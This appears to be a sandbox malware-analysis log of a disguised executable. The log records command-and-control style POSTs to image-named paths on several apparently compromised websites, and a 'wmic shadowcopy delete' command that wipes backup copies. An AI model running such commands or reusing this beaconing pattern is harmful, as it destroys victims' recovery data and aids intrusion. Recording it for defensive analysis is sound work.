Open Connection protocol = HTTP, server_name = www.rment.in, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = www.rment.in/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #60
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.rment.in
Server Port 80
Data Sent 246
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.rment.in, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = data/imgs/deimseruzu.gif, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = www.rment.in/data/imgs/deimseruzu.gif True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #61
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.lagouttedelixir.com
Server Port 80
Data Sent 243
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.lagouttedelixir.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = www.lagouttedelixir.com/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #62
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.lagouttedelixir.com
Server Port 80
Data Sent 266
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.lagouttedelixir.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = includes/pics/imim.png, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = www.lagouttedelixir.com/includes/pics/imim.png True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #63
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.krishnagrp.com
Server Port 80
Data Sent 233
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.krishnagrp.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = www.krishnagrp.com/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #64
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.krishnagrp.com
Server Port 80
Data Sent 257
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.krishnagrp.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = uploads/assets/dafu.jpg, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = www.krishnagrp.com/uploads/assets/dafu.jpg True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #65
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name big-game-fishing-croatia.hr
Server Port 80
Data Sent 251
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = big-game-fishing-croatia.hr, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = big-game-fishing-croatia.hr/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #66
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name big-game-fishing-croatia.hr
Server Port 443
Data Sent 273
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = big-game-fishing-croatia.hr, server_port = 443 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = uploads/imgs/meda.bmp, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_SECURE, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = big-game-fishing-croatia.hr/uploads/imgs/meda.bmp True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #67
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name mauricionacif.com
Server Port 80
Data Sent 231
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = mauricionacif.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = mauricionacif.com/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #68
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name mauricionacif.com
Server Port 80
Data Sent 251
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = mauricionacif.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = static/tmp/esam.jpg, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = mauricionacif.com/static/tmp/esam.jpg True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #69
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.ismcrossconnect.com
Server Port 80
Data Sent 243
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.ismcrossconnect.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = www.ismcrossconnect.com/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #70
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.ismcrossconnect.com
Server Port 80
Data Sent 262
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.ismcrossconnect.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = news/imgs/kade.jpg, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = www.ismcrossconnect.com/news/imgs/kade.jpg True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #71
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name aurumwedding.ru
Server Port 80
Data Sent 227
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = aurumwedding.ru, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = aurumwedding.ru/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #72
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name aurumwedding.ru
Server Port 80
Data Sent 250
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = aurumwedding.ru, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = data/pics/fukedaso.jpg, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = aurumwedding.ru/data/pics/fukedaso.jpg False 1
Fn
Process #2: wmic.exe
16 0
»
Information Value
ID #2
File Name c:\windows\syswow64\wbem\wmic.exe
Command Line "C:\Windows\system32\wbem\wmic.exe" shadowcopy delete
Initial Working Directory C:\Users\CIiHmnxMn6Ps\Desktop\
Monitor Start Time: 00:01:46, Reason: Child Process
Unmonitor End Time: 00:02:30, Reason: Terminated by Timeout
Monitor Duration 00:00:44
OS Process Information
»
Information Value
PID 0x134
Parent PID 0xe14 (c:\users\ciihmnxmn6ps\desktop\jeremy witt's dental records.exe)
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username LHNIWSJ\CIiHmnxMn6Ps
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 8D4
0x 1F4
0x 2DC
0x 904
0x 3D4
0x 87C
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000830000 0x00830000 0x0084ffff Private Memory Readable, Writable True False False -
pagefile_0x0000000000830000 0x00830000 0x0083ffff Pagefile Backed Memory Readable, Writable True False False -
private_0x0000000000840000 0x00840000 0x00843fff Private Memory Readable, Writable True False False -
private_0x0000000000850000 0x00850000 0x00851fff Private Memory Readable, Writable True False False -
pagefile_0x0000000000850000 0x00850000 0x00850fff Pagefile Backed Memory Readable True False False -
pagefile_0x0000000000860000 0x00860000 0x00873fff Pagefile Backed Memory Readable True False False -
private_0x0000000000880000 0x00880000 0x008bffff Private Memory Readable, Writable True False False -
private_0x00000000008c0000 0x008c0000 0x008fffff Private Memory Readable, Writable True False False -
pagefile_0x0000000000900000 0x00900000 0x00903fff Pagefile Backed Memory Readable True False False -
pagefile_0x0000000000910000 0x00910000 0x00910fff Pagefile Backed Memory Readable True False False -
private_0x0000000000920000 0x00920000 0x00921fff Private Memory Readable, Writable True False False -
locale.nls 0x00930000 0x009edfff Memory Mapped File Readable False False False -
private_0x00000000009f0000 0x009f0000 0x00a2ffff Private Memory Readable, Writable True False False -
private_0x0000000000a30000 0x00a30000 0x00a6ffff Private Memory Readable, Writable True False False -
private_0x0000000000a70000 0x00a70000 0x00aaffff Private Memory Readable, Writable True False False -
pagefile_0x0000000000ab0000 0x00ab0000 0x00ab0fff Pagefile Backed Memory Readable True False False -
private_0x0000000000ac0000 0x00ac0000 0x00ac3fff Private Memory Readable, Writable True False False -
private_0x0000000000ad0000 0x00ad0000 0x00adffff Private Memory Readable, Writable True False False -
private_0x0000000000ae0000 0x00ae0000 0x00b1ffff Private Memory Readable, Writable True False False -
msxml3r.dll 0x00b20000 0x00b20fff Memory Mapped File Readable False False False -
private_0x0000000000b30000 0x00b30000 0x00b4ffff Private Memory - True False False -
private_0x0000000000b50000 0x00b50000 0x00b5ffff Private Memory Readable, Writable True False False -
private_0x0000000000b60000 0x00b60000 0x00bcffff Private Memory Readable, Writable True False False -
imm32.dll 0x00b60000 0x00b89fff Memory Mapped File Readable False False False -
wmic.exe.mui 0x00b60000 0x00b6ffff Memory Mapped File Readable False False False -
private_0x0000000000b70000 0x00b70000 0x00b70fff Private Memory Readable, Writable True False False -
private_0x0000000000b80000 0x00b80000 0x00b80fff Private Memory Readable, Writable True False False -
pagefile_0x0000000000b90000 0x00b90000 0x00b90fff Pagefile Backed Memory Readable True False False -
pagefile_0x0000000000b90000 0x00b90000 0x00b93fff Pagefile Backed Memory Readable True False False -
pagefile_0x0000000000ba0000 0x00ba0000 0x00bacfff Pagefile Backed Memory Readable, Writable True False False -
wmiutils.dll.mui 0x00ba0000 0x00ba4fff Memory Mapped File Readable False False False -
private_0x0000000000bc0000 0x00bc0000 0x00bcffff Private Memory Readable, Writable True False False -
private_0x0000000000c00000 0x00c00000 0x00cfffff Private Memory Readable, Writable True False False -
sortdefault.nls 0x00d00000 0x01036fff Memory Mapped File Readable False False False -
ole32.dll 0x01040000 0x01128fff Memory Mapped File Readable False False False -
private_0x0000000001040000 0x01040000 0x010effff Private Memory Readable, Writable True False False -
private_0x0000000001040000 0x01040000 0x0109ffff Private Memory Readable, Writable True False False -
private_0x0000000001040000 0x01040000 0x0107ffff Private Memory Readable, Writable True False False -
private_0x0000000001090000 0x01090000 0x0109ffff Private Memory Readable, Writable True False False -
private_0x00000000010a0000 0x010a0000 0x010dffff Private Memory Readable, Writable True False False -
private_0x00000000010e0000 0x010e0000 0x010effff Private Memory Readable, Writable True False False -
private_0x00000000010f0000 0x010f0000 0x012effff Private Memory Readable, Writable True False False -
private_0x00000000010f0000 0x010f0000 0x0121ffff Private Memory Readable, Writable True False False -
kernelbase.dll.mui 0x010f0000 0x011cefff Memory Mapped File Readable False False False -
private_0x00000000011d0000 0x011d0000 0x0120ffff Private Memory Readable, Writable True False False -
private_0x0000000001210000 0x01210000 0x0121ffff Private Memory Readable, Writable True False False -
pagefile_0x0000000001220000 0x01220000 0x012d7fff Pagefile Backed Memory Readable True False False -
private_0x00000000012e0000 0x012e0000 0x012effff Private Memory Readable, Writable True False False -
private_0x00000000012f0000 0x012f0000 0x0132ffff Private Memory Readable, Writable True False False -
private_0x0000000001330000 0x01330000 0x0136ffff Private Memory Readable, Writable True False False -
wmic.exe 0x01370000 0x013d3fff Memory Mapped File Readable, Writable, Executable True False False -
pagefile_0x00000000013e0000 0x013e0000 0x053dffff Pagefile Backed Memory - True False False -
private_0x00000000053e0000 0x053e0000 0x0550ffff Private Memory Readable, Writable True False False -
private_0x00000000053e0000 0x053e0000 0x054dffff Private Memory Readable, Writable True False False -
private_0x0000000005500000 0x05500000 0x0550ffff Private Memory Readable, Writable True False False -
private_0x0000000005510000 0x05510000 0x0590ffff Private Memory Readable, Writable True False False -
pagefile_0x0000000005910000 0x05910000 0x05a97fff Pagefile Backed Memory Readable True False False -
pagefile_0x0000000005aa0000 0x05aa0000 0x05c20fff Pagefile Backed Memory Readable True False False -
pagefile_0x0000000005c30000 0x05c30000 0x0702ffff Pagefile Backed Memory Readable True False False -
private_0x0000000007030000 0x07030000 0x0706ffff Private Memory Readable, Writable True False False -
wow64.dll 0x59300000 0x5934efff Memory Mapped File Readable, Writable, Executable False False False -
wow64cpu.dll 0x59350000 0x59357fff Memory Mapped File Readable, Writable, Executable False False False -
wow64win.dll 0x59360000 0x593d2fff Memory Mapped File Readable, Writable, Executable False False False -
wmiutils.dll 0x73880000 0x7389dfff Memory Mapped File Readable, Writable, Executable False False False -
fastprox.dll 0x738c0000 0x7397bfff Memory Mapped File Readable, Writable, Executable False False False -
wbemsvc.dll 0x73980000 0x73990fff Memory Mapped File Readable, Writable, Executable False False False -
msxml3.dll 0x739a0000 0x73b2ffff Memory Mapped File Readable, Writable, Executable False False False -
wbemcomn.dll 0x73b30000 0x73b95fff Memory Mapped File Readable, Writable, Executable False False False -
wbemprox.dll 0x73ba0000 0x73bacfff Memory Mapped File Readable, Writable, Executable False False False -
framedynos.dll 0x73bb0000 0x73beefff Memory Mapped File Readable, Writable, Executable False False False -
urlmon.dll 0x74240000 0x7439ffff Memory Mapped File Readable, Writable, Executable False False False -
winnsi.dll 0x745b0000 0x745b7fff Memory Mapped File Readable, Writable, Executable False False False -
iphlpapi.dll 0x745c0000 0x745effff Memory Mapped File Readable, Writable, Executable False False False -
rsaenh.dll 0x74610000 0x7463efff Memory Mapped File Readable, Writable, Executable False False False -
iertutil.dll 0x74640000 0x74900fff Memory Mapped File Readable, Writable, Executable False False False -
bcrypt.dll 0x74910000 0x7492afff Memory Mapped File Readable, Writable, Executable False False False -
cryptsp.dll 0x74930000 0x74942fff Memory Mapped File Readable, Writable, Executable False False False -
wininet.dll 0x74950000 0x74b73fff Memory Mapped File Readable, Writable, Executable False False False -
dwmapi.dll 0x74ba0000 0x74bbcfff Memory Mapped File Readable, Writable, Executable False False False -
uxtheme.dll 0x74bc0000 0x74c34fff Memory Mapped File Readable, Writable, Executable False False False -
bcryptprimitives.dll 0x74ce0000 0x74d38fff Memory Mapped File Readable, Writable, Executable False False False -
cryptbase.dll 0x74d40000 0x74d49fff Memory Mapped File Readable, Writable, Executable False False False -
sspicli.dll 0x74d50000 0x74d6dfff Memory Mapped File Readable, Writable, Executable False False False -
user32.dll 0x74d70000 0x74eaffff Memory Mapped File Readable, Writable, Executable False False False -
shlwapi.dll 0x75080000 0x750c3fff Memory Mapped File Readable, Writable, Executable False False False -
kernelbase.dll 0x76970000 0x76ae5fff Memory Mapped File Readable, Writable, Executable False False False -
gdi32.dll 0x76ca0000 0x76decfff Memory Mapped File Readable, Writable, Executable False False False -
kernel.appcore.dll 0x76f60000 0x76f6bfff Memory Mapped File Readable, Writable, Executable False False False -
msctf.dll 0x76f70000 0x7708ffff Memory Mapped File Readable, Writable, Executable False False False -
combase.dll 0x77090000 0x77249fff Memory Mapped File Readable, Writable, Executable False False False -
sechost.dll 0x77250000 0x77292fff Memory Mapped File Readable, Writable, Executable False False False -
ole32.dll 0x77430000 0x77519fff Memory Mapped File Readable, Writable, Executable False False False -
imm32.dll 0x775e0000 0x7760afff Memory Mapped File Readable, Writable, Executable False False False -
kernel32.dll 0x77670000 0x7775ffff Memory Mapped File Readable, Writable, Executable False False False -
clbcatq.dll 0x77760000 0x777e1fff Memory Mapped File Readable, Writable, Executable False False False -
shcore.dll 0x778a0000 0x7792cfff Memory Mapped File Readable, Writable, Executable False False False -
ws2_32.dll 0x77930000 0x7798bfff Memory Mapped File Readable, Writable, Executable False False False -
advapi32.dll 0x77990000 0x77a0afff Memory Mapped File Readable, Writable, Executable False False False -
msvcrt.dll 0x77a10000 0x77acdfff Memory Mapped File Readable, Writable, Executable False False False -
nsi.dll 0x77ad0000 0x77ad6fff Memory Mapped File Readable, Writable, Executable False False False -
rpcrt4.dll 0x77af0000 0x77b9bfff Memory Mapped File Readable, Writable, Executable False False False -
oleaut32.dll 0x77ba0000 0x77c31fff Memory Mapped File Readable, Writable, Executable False False False -
ntdll.dll 0x77c40000 0x77db8fff Memory Mapped File Readable, Writable, Executable False False False -
private_0x000000007f5c7000 0x7f5c7000 0x7f5c9fff Private Memory Readable, Writable True False False -
private_0x000000007f5ca000 0x7f5ca000 0x7f5ccfff Private Memory Readable, Writable True False False -
private_0x000000007f5cd000 0x7f5cd000 0x7f5cffff Private Memory Readable, Writable True False False -
pagefile_0x000000007f5d0000 0x7f5d0000 0x7f6cffff Pagefile Backed Memory Readable True False False -
pagefile_0x000000007f6d0000 0x7f6d0000 0x7f6f2fff Pagefile Backed Memory Readable True False False -
private_0x000000007f6f5000 0x7f6f5000 0x7f6f5fff Private Memory Readable, Writable True False False -
private_0x000000007f6f6000 0x7f6f6000 0x7f6f6fff Private Memory Readable, Writable True False False -
private_0x000000007f6f7000 0x7f6f7000 0x7f6f9fff Private Memory Readable, Writable True False False -
private_0x000000007f6fa000 0x7f6fa000 0x7f6fcfff Private Memory Readable, Writable True False False -
private_0x000000007f6fd000 0x7f6fd000 0x7f6fffff Private Memory Readable, Writable True False False -
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False -
private_0x000000007fff0000 0x7fff0000 0x7dfc03e6ffff Private Memory Readable True False False -
pagefile_0x00007dfc03e70000 0x7dfc03e70000 0x7ffc03e6ffff Pagefile Backed Memory - True False False -
ntdll.dll 0x7ffc03e70000 0x7ffc04031fff Memory Mapped File Readable, Writable, Executable False False False -
private_0x00007ffc04032000 0x7ffc04032000 0x7ffffffeffff Private Memory Readable True False False -
Host Behavior
COM (6)
»
Operation Class Interface Additional Information Success Count Logfile
Create WBEMLocator IWbemLocator cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Create F6D90F12-9C73-11D3-B32E-00C04F990BB4 2933BF95-7B36-11D2-B20E-00C04F983E60 cls_context = CLSCTX_INPROC_SERVER True 1
Fn
